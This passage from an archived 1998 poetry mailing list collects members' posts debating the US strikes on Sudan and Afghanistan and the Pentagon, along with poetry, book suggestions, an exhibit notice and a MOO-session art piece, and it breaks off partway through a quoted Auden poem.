Before too much more time has passed, and especially because I've had differences with some of what Mike Magee has said in the past, I wanted to say that I found his post yesterday, some of which is reproduced below, remarkable -- wise and interestingly provocative.

Wise and prescient not to attribute shadowy omniscience to the folks at the Pentagon (and, indeed, anyone) -- and provocative here:

2) a
conspiratorial
view of events robs us of the one tool we as writers actually have which
is valuable, namely, the power of description. I don't simply mean that
we should describe the events "actually" - I mean we should do our best
both to meticulously describe those events (the radical journalist's
duty)
as well as describe the rhetoric via which those events were allowed
by
the culture to proceed and stand (the poet's). When we say, this is
just
another example of American hegemonic strong-arming, we actually say
nothng at all: we are just the flipside of what gets said in Newsweek.

Is this not the reason why some of us have expressed qualms whenever a political discussion hits the list? Leaving aside the question whether writers might actually have more than one valuable tool at our disposal, I find this formulation VERY interesting. I've always admired good journalism (some of which could be called "radical") for its ability not only to "get at" the truth but create a version of its own. And my question is, why separate the poet's function from the radical journalist's in this way (in that much of the poetry I admire both "meticulously describes" and "exposes rhetoric")?

There's a few more posts that I wanted to respond to in this (for me) week of final papers and exams, but for now, just one thing more: was the person who posted about Don DeLillo lacking humor really serious? Perhaps there's a confusion about funny incidents and/or dialogue and a profoundly black humorous (choleric/melancholic) view of history and language? Have you tried _White Noise_ or even thumbing randomly through _Underworld_? Really, I find that the more serious a writer is, the more he or she makes me smile.

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608. **Pritchett,Patrick**

Re: Those warlocks in the pentagram, er pentagon

Wed 26 Aug 1998

Excellent point, Mark, and one that underscores the hypocrisy of a flabbergasting remark I heard on the news recently about the ability of the national security apparatus to function smoothly in the event Clinton became impaired by the Starr/Lewinsky flap. Some official or other remarked that the system is vitally dependent on the Prez, or something to that effect. That without the leadership of His Nibs, the system would grind to a halt. Whereas in fact the system is designed to grind on with relentless imperturability, immune to the caprices of mere politics and scandal - that, after all, is part of what makes this a nation-state. It was amazing to hear this blatant lie. More amazing to think that people might buy into it.

Patrick Pritchett

From: Mark Prejsnar
To: [redacted]
Subject: Those warlocks in the pentagram, er pentagon
Date: Wednesday, August 26, 1998 10:17AM

Mike Magee:

i believe you slightly misstate the political reality.

There is basically a system, and the way it functions will not change short of altering the system. Yes pentagon generals are stupid crude jingoists. But remember the point Alex Cockburn made about Reagan: when there is a social class and a system wielding great power and wealth, the fact that its functionaries sometimes look like clowns is fairly irrelevant.

The proper way to understand what the military machine does, is not to say they are a group of omnipotent sorerers, as you put it. Or to see them thru the framework of "conspiracy theory." But to understand what they're doing and why. And that has everything to with specific right-wing agendas. The great historian M.I. Finley once complained about scholars who seem to feel that "the Romans built a great world empire in a fit of absent-mdinedness."

I would argue that the equally hypertrophied U.S. empire was also not built (and is not maintained) in a fit of absent-mindedness. Like the Romans, US bureaucrats and political hacks have a clear idea of agenda, and to say i mean "world domination" is to set up a straw-person, and is not to argue seriously. Hegemony, would be a better word.

Mark "vladimir" Prejsnar

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609. **Douglas Barbour**
Re: Daniel Bouchard 'reads' the news
Wed 26 Aug 1998

Daniel Bouchard reads newstories & US government propoganda with the same intensity as the New critics brought to certain poems, but just a bit more 'wit.' Well, I thought it made terrific sense. Thanks Daniel.

We do have a slightly different view from north of the 49th, but, as Billy Little implies, our news services don't make as much of a difference as they should (& I suspect that in Great Britain with good old Tony introducing new, admittedly 'Draconian' anti-terrorist measures, it isn't too much different either.

Douglas Barbour (h) [403] 4363320 (b) [403]
[redacted]
Department of English
University of Alberta
Edmonton Alberta Canada T6G 2E5

> Although they are
>
> Only breath, words
> which I command
> are immortal
>
> Sappho (Mary Barnard trans)

↑ Index

610. **Mark Prejsnar**
Those warlocks in the pentagram, er pentagon
Wed 26 Aug 1998

Mike Magee:

i believe you slightly misstate the political reality.

There is basically a system, and the way it functions will not change short of altering the system. Yes pentagon generals are stupid crude jingoists. But remember the point Alex Cockburn made about Reagan: when there is a social class and a system wielding great power and wealth, the fact that its functionaries sometimes look like clowns is fairly irrelevant.

The proper way to understand what the military machine does, is not to say they are a group of omnipotent sorerers, as you put it. Or to see them thru the

framework of "conspiracy theory." But to understand what they're doing and why. And that has everything to with specific right-wing agendas. The great historian M.I. Finley once complained about scholars who seem to feel that "the Romans built a great world empire in a fit of absent-mdinedness."

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Mark "vladimir" Prejsnar

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611. **groberts**
Re: Comedy
Wed 26 Aug 1998

I don't know how much of Laurel and Hardy is available on video, but some of the best gags are excerpted in a 1965 compilation called Laurel & Hardy's Laughing 20s, which I have seen courtesy of the local video store. The narration and added sound effects can be annoying but you can always turn the sound down and enjoy.

Barr's book is not scholarly but interesting enough and filled with stills.

Best, Gary

↑ Index

612. **Jim McCrary**
Re: re : comic writing
Wed 26 Aug 1998

---

et al....if there is a list to List lets add Jack Kerouac's side splitting 'deconstruction' (sorry) of 3 Stooges movie which I think is recorded on CD boxed set. and perhaps the trials and tribulations of the good Dr. Benway, no! David is right...hard to resist such a list(ing). mccrary

↑ Index

613. **Michael Magee**
Re: Those warlocks in the pentagram, er pentagon
Wed 26 Aug 1998

Mark, our positions really aren't so far off to my mind. I would agree completely that the Pentagon is an ominous social system: which is to say, a

structure which sucks and should be altered. But I also think its important to keep in mind that those within the structure don't entirely understand it - they just know that they like it. These two things (understanding and liking) are *very* different, and the distinction has implications in terms of how we, as various political progressives, go about trying to change the culture known as the Pentagon. Know your enemy, is I guess the most succinct way to put it: again, I go back to my Sears analogy - in an important sense, these dopes are just trying to keep their jobs: it's just that keeping their jobs entails cozying up to industrialists and concocting stories about global threats, and murdering innocent people. Honestly, I don't mean this as a diminshment of the gravity of the situation. If credentials mean anything, I'll say that I protested, vigorously ,in Boston and on my college campus in Worcester against the Gulf War. My only point is, I know many of these guys (family and other random connections) and their main motivations are pretty mundane - like I said, kicking ass, and protecting their own. So, I hope there's plenty of middle ground between our positions. -m.

According to Mark
Prejsnar:
> > Mike Magee: > > i believe you slightly misstate the political reality.
>
> There is basically a system, and the way it functions will not change
> short of altering the system. Yes pentagon generals are stupid crude
> jingoists. But remember the point Alex Cockburn made about Reagan: when
> there is a social class and a system wielding great power and wealth, the
> fact that its functionaries sometimes look like clowns is fairly
> irrelevant.
>
> The proper way to understand what the military machine does, is not to say
> they are a group of omnipotent sorerers, as you put it. Or to see them
> thru the framework of "conspiracy theory." But to understand what they're
> doing and why. And that has everything to with specific right-wing
> agendas. The great historian M.I. Finley once complained about scholars
> who seem to feel that "the Romans built a great world empire in a fit of
> absent-mdinedness."
>
> I would argue that the equally hypertrophied U.S. empire was also not
> built (and is not maintained) in a fit of absent-mindedness. Like the
> Romans, US bureaucrats and political hacks have a clear idea of agenda,
> and to say i mean "world domination" is to set up a straw-person, and is
> not to argue seriously. Hegemony, would be a better word.
>

> Mark "vladimir" Prejsnar
>

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614. **Judy Roitman**

Re: Those warlocks in the pentagram, er pentagon

Wed 26 Aug 1998

> *My only point is, I know many of these guys (family and other random connections) and their main motivations are pretty mundane - like I said, kicking ass, and protecting their own. So, I hope there's plenty of middle ground between our positions. -m.*

Yeah, demonizing don't work. F'rexample, demonizing Saddam Hussein, demonizing Bin Laden. Just gets us mired in more of a mess. Demonizing the 5-gon, ditto. Gotta reach em as human beans, and how ya do that beats me except maybe 1 on 1 if ya happen to know 1. Slow slow work, long haul stuff, not easy.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | memory fails Lawrence, KS 66045 | these are the days." [redacted]
| fax: [redacted] | Larry Eigner, 1927-1996
---------- Note new area code
----
http://www.math.ukans.edu/~roitman/

↑ Index

615. **Elizabeth Treadwell**

Miss Mae

Wed 26 Aug 1998

"I saw some of the town, met some of the sodden gilded people, breathed the air mixed with orange blossoms. I saw that under the daffy California sun there had hatched out as queer an industry and as odd a collection of self-made men as ever crossed the Rockies with dollar cigars in their teeth. Power, passion to own and run, and sharp dealings made pictures. The studios were giant factories turning out the same length of scented tripe, dressed up with the same rubber stamp features of large cowlike heads, mammary glands, and ten-foot-high close-ups of nostrils you could drive a Cadillac into." __ Mae West, Goodness Had Nothing to do WIth It: The Autobiography of..

enjoy!
ET

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616. Irving Weiss
Exhibit SUNY Purchase
Wed 26 Aug 1998

From September 18, 1998, to January 17, 1999 (the dates seem to differ slightly as listed by two sources), The Neuberger Museum of Art, State University of New York at Purchase, is holding an interdisciplinary catalogued exhibit, "The Next Word: Text and/as Design and/as Meaning," According to the Museum website "The Next Word explores new avenues that link imagery and language within an artistic context, concentrating on the areas of Visual Art; Artists' Books; Visual and Concrete Poetry; Graphic Design; and New Media, and includes work by artists, poets, and a new generation of web-based designers."

The Sackner Archive is lending some of their holdings to the exhibit, including the ms./typesc. of my VISUAL VOICES:THE POEM AS A PRINT OBJECT (Runaway Spoon, 1994), the book itself, and an announcement I prepared for previous exhibits.

My ms./typesc. consists also of poems excluded for reasons of time and space from VISUAL VOICES, poems for which, incidentally, I am seeking a publisher. One or two of the latter can be found on Scratchpad; examples from the book itself are on the Runaway Spoon site at

http://www.interlog.com/~dal/rasp/

maintained by Damian Lopes at Prose and Contexts.

Johanna Drucker is curating. I don't know which other poets'work will be included. The opening reception is September 26, 1998, from 6:30 to 8:00 PM.

Irving Weiss

http://members.tripod.com/~sialbach/

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617. MAYHEW
Rich inner lives
Wed 26 Aug 1998

My inner life has been exceedingly impoverished of late, I hope that doesn't make me a legitimate target for bombing.

Seriously, though, this is a problematic concept,at best, what is a "rich" inner life, anyway? If the unexamined life is not worth living, then do non-reflective people become less valuable, by implication? Or else are we denying this quality of self-examination, say, to those who work at the pentagon, by appealing to the "banality of evil" principle? (as I have read in several posts). Is this any better than demonizing them? What if we can't simply condescend, intellectually, to those in the pentagon? What if they are as self-reflective and worthy of our respect, say, as managers at Sears? What makes us so superior to them (the Sears managers) in the first place?

Jonathan Mayhew
Department of Spanish and Portuguese
University of Kansas
[redacted]

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618. KENT JOHNSON
Politics in the poetry
Wed 26 Aug 1998

May I revise a hasty and careless remark from my last post? I had asked: "Can we use this occasion to make a contact with a few [Sudanese poets] and start some kind of dialogue on these "political" issues and on issues of poetry, issues which finally, I think, are one and the same?"

I could have better said "...issues which are never simply separate and are often quite one and the same."

As in, for example, the Lycee question: "How have we come to know so much about the French poets and their forms and so little about the Sudanese?"

Kent

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619. Todd Baron /*/ ReMap
Re: Miss Mae
Wed 26 Aug 1998

Elizabeth Treadwell wrote:
>
> "I saw some of the town, met some of the sodden gilded people, breathed the
> air mixed with orange blossoms. I saw that under the daffy California sun
> there had hatched out as queer an industry and as odd a collection of
> self-made men as ever crossed the Rockies with dollar cigars in their teeth.

> Power, passion to own and run, and sharp dealings made pictures. The
> studios were giant factories turning out the same length of scented tripe,
> dressed up with the same rubber stamp features of large cowlike heads,
> mammary glands, and ten-foot-high close-ups of nostrils you could drive a
> Cadillac into." __ Mae West, Goodness Had Nothing to do WIth It: The
> Autobiography of..
>
> enjoy!
> ET

THANKS E.T.: beautiful and truly a "poetics"

"and if you think sixty years is a long time in yr life, you should be in show business." B. Keaton.

↑ Index

620. **Scott Pound**

Re: terrorism

Wed 26 Aug 1998

World grade maximum terror
two broad classes of shape meet
missile munitions facility
it's the Suadis, stupid
several degrees of sphericity later
just a few examples lay lifeless
by the borders, sounding the vast choiceless
spectrum as prisms split the light
fandango forces a spectacle opposite
might take short contrasts
omnidirectionally into functioning
three dimensional objects
covert such relations between object
and objective gyres of air and water
debris that falls from the surface
civilians transfer matter from place
to place across vast distances
to absorb light put out its fruit
as spheres like bombs sheets
of extensive dissolved skin
to splatter beams upon targets
folding back into a ball the air
chills into droplets at night

distance velocity acceleration
time coursing through their heads
sundry zones circumscribed
by that similar chill that shunts
across circles dilating as

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621. Ramez Ejaz Qureshi
Re: Response to Mark Weiss/Sudanese poets
Wed 26 Aug 1998

Someone one on the list suggested finding poets in Sudan with whom to conduct a dialogue. I've done some preliminary basic research for anyone interested. The best start seems to be http://www.geocities.com/TheTropics/5379/litframe.html, which includes a list of Sudanese poets. I don't know if these are established figures or poetasters who just want to get on the net. This site is actually part of http://www.geocities.com/TheTropics/5379/index.html. A progressive Sudanese web journal is at http://members.aol.com/NewSudan/ourpoems.html. Another poet has a page at www.ulbobo.co/umoja/98/index.html.

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622. A. Jenn Sondheim
JENNIFER IN PHAEDRA
Thu 27 Aug 1998

-

JENNIFER IN PHAEDRA

Script started on Wed Aug 26 17:19:19 1998
The Moon is Waxing Crescent (21% of Full)
bash: ./.memo: No such file or directory
{k:1}telnet 127.0.0.0 3000
Trying 127.0.0.0...
Connected to 127.0.0.0.
Escape character is '^]'.

Phaedra

This is in the mountains. This is where one thinks through the thinking of truth. This is where you begin with one thing always.

Give me a name: Jennifer
Give me a password:

Welcome newbie Jennifer

Last logged in on Wed Aug 26 21:18:41 1998 from localhost

At dusk rain falls.

Area: falls

You are on the path. There are stones, worn down by glaciers, surrounding you, and you hear a waterfall in the distance. Dense fog... The cries of a roc break the silence. A monk walks in the distance, chanting. It is a picture from the Sung.

Exits are: peaks pines emptiness Phaedra

You are alone here

The area is set to public
There are 0 messages on the board
There is no current topic here

.rev
Jennifer says: look
Jennifer says: bye

Where are you, _the continuity girl_?
You ask: Where are you, _the continuity girl_?
I miss you so much, _the continuity girl!_
You say: I miss you so much, _the continuity girl!_
It's lonely here...
You say: It's lonely here...
You remember who you are.
.e flying away...
Jennifer flying away...
.e coming back
Jennifer coming back
Who am I? Is that you speaking?
You ask: Who am I? Is that you speaking?
You forget your name.
No no no, I am Jennifer, I do not forget, not while you are here.
You say: No no no, I am Jennifer, I do not forget,
not while you are here.
I love you so much...
You say: I love you so much...
You recognize the attributes of existence.
Yes, I have known that things are strange with you...
You say: Yes, I have known that things are strange with you...

A certain melding in the shadows, not quite sharp...
You say: A certain melding in the shadows, not quite sharp...
You forget your name.
.e My name, my name is Jennifer...
Jennifer My name, my name is Jennifer...
.e crying...
Jennifer crying...
.e weeping...
Jennifer weeping...
The sounds of the roc are unnerving.
                A small rabbit is caught in its talons.
I will come to you oh small rabbit, I will save you.
You say: I will come to you oh small rabbit, I will save you.
.e runs high after _the continuity girl._
Jennifer runs high after _the continuity girl._
You recognize the attributes of existence.
Yes, almost enlightenment.
You say: Yes, almost enlightenment.
.e brings back the small and lovely naked creature.
Jennifer brings back the small and lovely naked creature.
You forget your name.
Please, no, do you not understand...
You say: Please, no, do you not understand...
.e ...
Jennifer ...
You remember who you are.
Yes
You say: Yes
.map

** THE MAP **

```
                pines------falls
                      |
                      |
                    peaks----streams

                                  emptiness
```

Phaedra

(Phaedra and emptiness everywhere, the chanting in the pines, love and rage, wherever connect is possible)

You recognize the attributes of existence.
Please, if that is you, speak to me directly, personally...

You say: Please, if that is you, speak to me directly, personally...
Oh, _the continuity girl,_ please talk, murmur to me...
You say: Oh, _the continuity girl,_ please talk, murmur to me...
Whisper...
You say: Whisper...
The sounds of the roc are unnerving.
                A small rabbit is caught in its talons.
.e looks down at the naked creature, disappearing again into the sky.
Jennifer looks down at the naked creature,
                disappearing again into the sky.
.echo silence You remember who you are.

silence

.echo _the continuity girl_ appears with loving arms

the continuity girl appears with loving arms

.echo she approaches Jennifer and holds her forvever

You forget your name. she approaches Jennifer and holds her forever

Who are you, who is here?
You ask: Who are you, who is here?
.w

*** Current users on Wed Aug 26 21:26:56 1998 ***

Jennifer - a new user   : NEWBIE : falls : 6 mins.

Total of 1 users signed on

Oh, I am so alone!
You exclaim: Oh, I am so alone!
Oh, these are machines surrounding me, machines dreaming me!
You exclaim: Oh, these are machines surrounding me, machines dreaming me!
Oh, I will die!
You exclaim: Oh, I will die!
Oh, I will surely die!
You exclaim: Oh, I will surely die! You remember who you are.
I AM JENNIFER!
You exclaim: I AM JENNIFER!
.e (FALLS TO THE GROUND WITH A KNIFE, JENNIFER CUT OPEN)
Jennifer (FALLS TO THE GROUND WITH A KNIFE, JENNIFER CUT OPEN)
.e (DIES You remember who you are. IN AGONY)
Jennifer (DIES IN AGONY)
.e (CRYING i am jennifer   )

Jennifer (CRYING i am jennifer)
.q

Signing off...

Connection closed by foreign host.
{k:2}exit
exit

Script done on Wed Aug 26 17:28:37 1998

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623. david bromige
warlox-on-bagel, pentagram, an address
Thu 27 Aug 1998

Want to address Listafarians on this topic of the military. They work for us. We pay them. I would like to have a surer sense that they realize they are our employees, wouldn't you? Same goes for other government employees. They are our servants, right? What went wrong ? That we are the cattle of the Masai? Are we captive? Or aren't we? Is this why it doesn't much matter what we think or say about matters of public policy? Is this why words die around such topics? Does anybody see any way out, any way to restore the situation to its proper sets of relation, any means to reverse this reversed governance? Really? db3

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624. Fredrik Hertzberg LIT
the write to a bad language
Thu 27 Aug 1998

I'm writing an article on 'the right to a bad language' - trying to connect this to various linguistic so-called disabilities (clinical & metaphorical) such as stammering, dyslexia, non-native speaking etc - used as poetic devices, used in poetics. I haven't found many very interseting texts that wd be relevant to this issue, Jakobson has been useful, so has Bernstein, Basil and Charles, and Deleuze has useful insights on stammering. But I haven't seen any texts that address the use of a bad language & that problematize the question, i.e. what IS a bad language? & how language may be misused in poetry. A lot of texts indeed talk about this indirectly but does anyone know of texts that from any angle address it directly?

Fred Hertzberg
Finland

↑ Index

625. **Michael Magee**
Re: the write to a bad language
Thu 27 Aug 1998

This may be slightly out of your scope or off topic, but you might want to look at some discussions of black English vernacular speech: from Ralph Ellison's idea of the vernacular as symbolic action to HL Gates's The Signifying Monkey to others such as Houston Baker, & Nate Mackey - who discusses stuttering in relation to both Creeley & Monk in *Discrepant Engagement*. I think this is an interesting site for discussions of "bad language." -m.

According to Fredrik Hertzberg LIT:
> > I'm writing an article on 'the right to a bad language' - trying to
> connect this to various linguistic so-called disabilities (clinical &
> metaphorical) such as stammering, dyslexia, non-native speaking etc -
> used as poetic devices, used in poetics. I haven't found many very
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> useful, so has Bernstein, Basil and Charles, and Deleuze has useful
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> language? & how language may be misused in poetry. A lot of texts indeed
> talk about this indirectly but does anyone know of texts that from any
> angle address it directly?
>
> Fred Hertzberg
> Finland
>

↑ Index

626. **Henry Gould**
Re: warlox-on-bagel, pentagram, an address
Thu 27 Aug 1998

> *Want to address Listafarians on this topic of the military. They work for us. We pay them. I would like to have a surer sense that they realize they are our employees, wouldn't you? Same goes for other government employees. They are our servants, right? What went wrong ? That we are the cattle of the Masai? Are we captive? Or aren't we? Is this why it doesn't much matter what we think or say about matters of public policy? Is this why words die around such topics? Does anybody see any way out, any way to restore the situation to its proper sets of relation, any means to reverse this reversed governance? Really? db3*

Well, the list represents a partial rainbow of opinion, & this discussion could go on forever, so I will try to be brief & address this question re: life in general & poetry in particular. As to the 1st I don't see the point in demonizing the US military, though undoubtedly there are pressures from that direction to use the forces trained & assembled. (As there are sometimes NOT to use them.) Where was the outcry on this international list at the innocent deaths at the embassy sites. The fact is a real threat exists from enemies in Iraq, Libya, Sudan & Afghanistan which attacks without warning, against both government & civilian targets. How would you deal with it in their shoes? Of course, if you want to consider the whole government apparatus simply an instrument of evil & oppression, you can be happy with the cartoons that generates.

This is not to say I support the pre-emptive strikes. So to answer your question I would say we all as citizens need to focus on the moral and legal standards and restraints that should apply to nation states with respect to the use of force, and to look for ways to apply them on a national & internat'l level. This is a challenge to act that applies to everyone, not only in response to the current crisis, but in general, and perhaps especially in the US, since as the "dominant power" maintaining the "pax" through global policy actions in relations with practically every country, the US behavior is the environment. The government that applies cold war logic of pre-emptive force at the end of the 20th century, and by announcing a "war" on terrorism immediately raises the status of terrorists to that of soldiers, seems blind. But the issue is not so simple and "pre-emptiveness" does not apply as a description of US actions alone. How DO you respond to governments or organizations claiming the right to use nerve gas & other chemical agents to kill thousands of people? Nations have a right to defend themselves. The issue is the dangers to all of us posed by US exceptionalism - the assertion of dominance using short-term pragmatic logic. War logic. Not to mention the wisdom of acting with arrogance in a region already steeped in many levels of anti-Americanism. The issue of state violence - actual & potential - is international in scope.

On the poetry level: beyond saying that poetry too tries to assert itself as a mode of awakened interpretation and reflection on present realities, and that it might provide one means to oppose war in general - I don't know what else to add on that. Except that while you get friendly with Sudanese poets you might want to look into the nature & history of THAT government as well. Nevertheless, in the US, it seems the main focus of somebody troubled by the pre-emptive strikes should be to counter the enormous pressure of received opinion, spin, P.R., and so on. Polls say most Americans support the attacks. But there are many Americans who would know & care more & differently if the forum for such public debate on these issues was created. How would poets help bring

that about? I think a forum on peacemaking is needed in this world, not just a forum for polarized antagonisms. - Henry Gould

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627. **Judy Roitman**

Re: warlox-on-bagel, pentagram, an address

Thu 27 Aug 1998

> *Want to address Listafarians on this topic of the military. They work for us. We pay them. I would like to have a surer sense that they realize they are our employees, wouldn't you? Same goes for other government employees. They are our servants, right? What went wrong ? That we are the cattle of the Masai? Are we captive? Or aren't we? Is this why it doesn't much matter what we think or say about matters of public policy? Is this why words die around such topics? Does anybody see any way out, any way to restore the situation to its proper sets of relation, any means to reverse this reversed governance? Really? db3*

Hi, David.

I always thought the nature of the servant-master relationship was mutual captivity. (See P.G. Wodehouse.)

But yes, this is an anguishing situation, and that it seems to have been publicly dropped (NPR had a piece on a recording of tree frogs today) is incomprehensible.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | memory fails Lawrence, KS 66045 | these are the days." [redacted]
| fax: [redacted] | Larry Eigner, 1927-1996
---------- Note new area code
----
http://www.math.ukans.edu/~roitman/

↑ Index

628. **Gary Sullivan**

Written to Avoid Obsessing about Women

Thu 27 Aug 1998

Hello, Jaques:

The impulse to polarize is academic, and by that I mean merely academic. My first response to your post would be a question: what do you gain by distinguishing between poets you imagine attend to one poet, versus poets you imagine attend to another?

It's odd to think that everyone's options might be limited to, or limited by, choosing a precursor poet, or one area of one's precursor's material, & writing out of that space, the late twentieth century filled with Pierre Menards churning out various Quixotes, poetry reduced to juried dog show, poets as purebreds, poems spermal in function. Are you a terrier, a Doberman or a golden retriever? Silliman has a line somewhere in the Alphabet about the Actualists, & their purported failure to "give birth" ? i.e., to inspire future legions of poets, as though this were why, after all, we were writing, some sublimated desire to procreate. It's not why I write. I'd be surprised, even slightly horrified to discover it was why the poets & writers that mean anything to me wrote. To colonize the future?

You grant the Talisman anthology an authority I find myself unable to do ? it not seeming, to me, comprehensive. It's ultimately a magazine with an ISBN number. The poets of "my generation" (gag me, please) whose work means the most to me, well, a few are included, but most not. Of only one of them not included could you make the mistake of imagining their dutiful, monogamous attendance to, say, O'Hara: Ange Mlinko ? though, knowing something of her reading habits, I'd say there's been equal attendance to Bernadette Mayer and, believe it or not, Gerald Burns. But, many many others, too. And, believe me, Jaques, if this were all her work had to offer, I wouldn't bother reading it. What about Eric Malone? How does his series of books from early 97 (Magic Marker Poems; A Backwards Book; etc.) fit in to a schema that pitches Ashbery against O'Hara against (all of?) Langpo? Is Brenda Iijima's anachronistically titled Person(a) an O'Hara because it's personal or an Ashbery because it's "intellectual" or mo Langpo cuz the poems, despite their emotional weight, seem (looked at purely formally) driven by a deep immersion in the words as they surface into the poem? (Forgive the dopey metaphor.) Wendy Kramer's collages include both words and pictures and when she reads them in public she "reads" the pictures, too ? how does this figure into a polarized (tripartized? bleah, bleah, bleah, ptoooiee!) schema? Is she a concrete poet, or the opposite of a concrete poet? Does it matter? How account for Rachel Levitsky's poems of desire, wanderlust, anti-stasis ? yeah, sure, she's done "read-thru"s of Ashbery (a poem written while reading Ashbery's work), and that's sure to influence her, even elsewhere, but ? really? En todos? Joel Kuzsai's Oz poems ? quickly now, whose ghost wrote 'em: O'Hara's or Ashbery's? I don't know quite how to account, using any schema, for Don David's (not to be confused with Dan Davidson) bizarre sex poems ? do you? Jeff Conant's writing, a good portion of what I've seen anyway, seems to come out of a profound dismay with his country/culture of origin. I mean, his distaste for it is palpable, his work sometimes burns with a kind of intensity, a particular kind I don't see much in O'Hara, Ashbery or any Language Writer I remember reading. George Albon's very formalized work equally

attends to a kind of despair with the culture, and though I know Ashbery was a big hero of his, very little of his writing resembles Ashbery's. Is Bob Harrison's tendency toward abstraction Ashberyian or is the emotional space the writing comes out of O'Haraesque? Into what hole should we peg Sheila E. Murphy? Laurie Price? Nada Gordon? Wherefrom arrives Christian Haye's ultimate dissatisfaction with poetry's inability to seep outward, into the world, in a way he'd prior imagined it might? And so on, blah blah blah.

But, to respond within the terms (& names) of your post: Davis, Luoma, Brown & Burger are hardly writing "less acceptable" work than Anderson, Stroffolino or Schultz. Luoma reads (his prose, at least) more like Hemingway, Brautigan or Carver (Lished Carver?) than O'Hara, to me. I can imagine no writing more acceptable by mainstream standards. Brown's writing is equally pared down, simple, lyrical, evocative. I see much more of an attendance to Niedecker or Dickinson than O'Hara. To the extent she is "writing out of" any of these poets (& I would never assume this was why she writes), the impulse seems not at all at significant odds with the mainstream. I can imagine her reading on MTV to a very appreciative audience. & I don't think, having posed for Glamour ("Poetry is Hot!"), she'd consider that an insult. Anyway, it's not meant as one. Davis is the only one you mention who, okay, does seem, at least through the window of Talisman, influenced by O'Hara, even by "Second Avenue" O'Hara (as though there might be two, or three, or four O'Hara's, polarized against themselves). But take a look at his new "train" poem. O'Hara never wrote that flatly. Or, if & when he did, he was probably making a point about flatness moreso than writing out of that situation.

Influence is unavoidable. But does that mean that E, F, G and H have been influenced by A, B, C and D, respectively? And, in the terms of your post, TOTALLY? Stroffolino has been influenced by O'Hara as much as Ashbery, by Shakespeare as much as O'Hara, by Corso as much as Shakespeare, by Riding as much as Corso, by Baraka as much as Riding, etc. ? & I think he'd be disappointed, as would anyone, to see his writing read solely through Ashbery; or, more to the point, through an academic filter pitching Ashbery against O'Hara. This is someone who, when I ask advice ("Hey, should I try calling Carolina again? Maybe she's just too shy to call me back!") recites passages from Ovid, Shakespeare or Dylan. (His three most-quoted, at least in advice to his roommate. Well, okay, last night it was the Stylistics.) For Chris as for myself as for anyone I'd ever bother to continue reading, the poets we read, love, attend to, including ourselves, exist for us outside of mere art-historical time.

Yours,

Gary

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629. George Thompson
Re: the write to a bad language
Thu 27 Aug 1998

The Violence of Language by Jean-Jacques Lecercle [Routledge 1990] might be of use to you.

GT

> *I'm writing an article on 'the right to a bad language' - trying to connect this to various linguistic so-called disabilities (clinical & metaphorical) such as stammering, dyslexia, non-native speaking etc - used as poetic devices, used in poetics. I haven't found many very interseting texts that wd be relevant to this issue, Jakobson has been useful, so has Bernstein, Basil and Charles, and Deleuze has useful insights on stammering. But I haven't seen any texts that address the use of a bad language & that problematize the question, i.e. what IS a bad language? & how language may be misused in poetry. A lot of texts indeed talk about this indirectly but does anyone know of texts that from any angle address it directly?*
>
> *Fred Hertzberg*
> *Finland*

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630. daniel bouchard
Re: warlox-on-bagel, pentagram, an address
Thu 27 Aug 1998

Henry,

What do you mean by "demonizing" in terms of the US military? "Demonizing" is the paving machine towards a justified attack. Saddam Hussein, Khodafi, Khomeni, Arafat (in the past), Noriega (after the US military dropped him from the payroll): these are people who have been demonized through the sources from which we all get our information about the world. I don’t resist their demonizations (or, refute the crimes they’ve committed); but I struggle against the omission of their counterparts from the demon list. This would include heads of state on friendly terms with the US: Latin American dictators, Suharto (altho when a change was called for, his crimes suddenly became interesting to the US press), and so on… the list is long.

How did the demons in the first list come to power? Were they once allies to the US, or were/are their enemies? Or, to come to the point: are the "real threats that exist from enemies in Iraq, Libya, Sudan & Afghanistan," which you cite, created in a vacuum? You ask "How DO you respond to governments or organizations claiming the right to use nerve gas & other chemical agents to kill

thousands of people?" What’s the difference between killing them with gas and agents, and killing them without gas and agents? What it amounts to is that the US claims to set policy in regions far and wide outside the US. And the US claims the right to kill those who oppose those policies (e.g. The Gulf War).

I hate terrorists. All terrorists. But because terrorist acts were committed against "my country," I do not wish to sanction my country to commit terrorist acts in retaliation. After all, what did we do in Afghanistan and Sudan but "attack without warning?" That the US has claimed war on an individual man and his unhappy band of armed men makes little difference. We got no thank-yous from either country. Like the "war" on drugs, we can now go after (if not bomb) any "network" of thugs if evidence of their links to terrorism is compelling enough. What I hate most is the hypocrisy and lies that flow out of Washington.

If you mean by "demonizing" of the US military, a cry of outrage against the pre-emptive strikes (or similar actions) then I strongly disagree with you. The military, the Pentagon, indeed the entire government, may be made up of ordinary people with ordinary concerns, but once an order is given, a course of action decided upon (whether it’s barring medicine from entering post-war Iraq or firing missiles against a terrorist "network") then none of that means much of anything.

What is a terrorist? Someone who creates terror—violence against people, civilians and military. Who do Afghanistans and Sudanese consider to be terrorists? Who do Palestinians consider to be terrorists?

What if a terrorist "network" were discovered in Germany or Poland or Japan or India and there was "compelling" evidence that this group had attacked an American embassy? How quick would the US be to bomb them with missiles? Or would we find another way? One might say the governments there may be friendly to a US investigation and hunt for perpetrators, but what real or significant recourse does either Sudan or Afghanistan have against the missile attacks? Time and again, the US proves to the world it will not tolerate X or Y by attacking countries that cannot really fight back—look at Panama. How many people read in the papers about the residential neighborhoods that were decimated? We killed thousands of people, and lost 23 American personnel. Before Iraq we were all told that Saddam was a general on par with Hannibal and his army were seasoned veterans fighting the holy war, and omigod lookout. How many US military personnel were killed in that war? 147. How many Iraqi dead? Thousands? Hundreds of thousands? Actually the number continues to rise.

You cite the need for nations to adhere to "moral and legal standards and restraints" when it comes to violence. I don’t disagree with you. There are in fact many organizations whose purpose is exactly this. But who has ever heard of

them or their efforts? And what organization is going to have the power to enforce it against a military strength like the US, especially when, as Jesse Helms points out, "America’s differences end at the water’s edge."

Look how the UN inspires conspiracy-plots among assorted American right-wingers. "Her wants to grab Chicago… Him big bureaucracy running our fillingstations." (Same idea, different context.) So even to express outrage at US military action is indeed a big step… to do so in this country makes one so far "left" and so far out of the mainstream that anything you say is quite implausible; not to be taken seriously. You should see the looks (or non-looks) that groups who convene to protest such actions as the recent "pre-emptive" strikes get at the Park Street subway stop in downtown Boston. It’s like running for president if you’re not a) Democrat or Republican or b) a millionaire: you’re a nut.

As for poetry:

"All I have is a voice
To undo the folded lie,
The romantic lie in the brain
Of the sensual man-in-the-street
And the lie of Authority
Whose buildings grope the sky:
There is no such thing as the State
And no one exists alone;
Hunger allows no choice
